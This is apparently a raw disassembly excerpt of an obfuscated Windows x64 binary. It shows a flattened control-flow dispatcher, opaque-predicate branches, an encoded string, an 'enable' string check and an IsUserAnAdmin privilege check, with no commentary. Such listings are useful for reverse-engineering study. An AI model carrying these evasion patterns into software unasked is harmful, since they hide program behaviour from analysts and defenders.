lea rcx, str.X_Pv__ffgwlbggdvfpwwlBgnjmjpwqbwlqp_t
call fcn.140002750
mov ecx, 0x69823db
mov r14d, dword [rsp + 0x74]
jmp 0x140001080
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
lea rcx, str.enable
call fcn.140007f48
mov ecx, 0x9453422c
test eax, eax
je 0x14000262a
mov ecx, 0x5068b297
xor r13d, r13d
jmp 0x140001080
cmp byte [rsp + 0x4a], 0
mov ecx, 0x4fb47054
jne 0x140002643
mov ecx, 0x9453422c
xor r13d, r13d
jmp 0x140001080
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x69dcf3e2
mov ecx, 0x8b808705
mov edi, 0x69dcf3e2
cmp ebp, 0xffffffff
sete bl
je 0x1400026ef
mov edi, 0x8b808705
jmp 0x1400026ef
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebx, [rcx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
mov edx, 0xe3108399
mov ecx, 0xcd03494f
mov edi, 0xe3108399
cmp ebx, 0xffffffff
sete bl
je 0x140001072
mov edi, 0xcd03494f
jmp 0x140001072
mov ecx, dword [0x140022c90]
mov eax, dword [0x140022c94]
lea ebp, [rcx - 1]
imul ebp, ecx
not ebp
or ebp, 0xfffffffe
mov edx, 0x83aad5b6
mov ecx, 0xa8a5d2f6
mov edi, 0x83aad5b6
cmp ebp, 0xffffffff
sete bl
je 0x1400026ef
mov edi, 0xa8a5d2f6
cmp eax, 0xa
cmovl ecx, edi
setl al
xor al, bl
cmovne ecx, edx
jmp 0x140001080
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ecx, 0xe3108399
jmp 0x140001080
cmp ecx, 0x6b23eb08
jne 0x140001080
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.1400036a0
xor eax, eax
movaps xmm6, xmmword [rsp + 0x190]
add rsp, 0x1a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret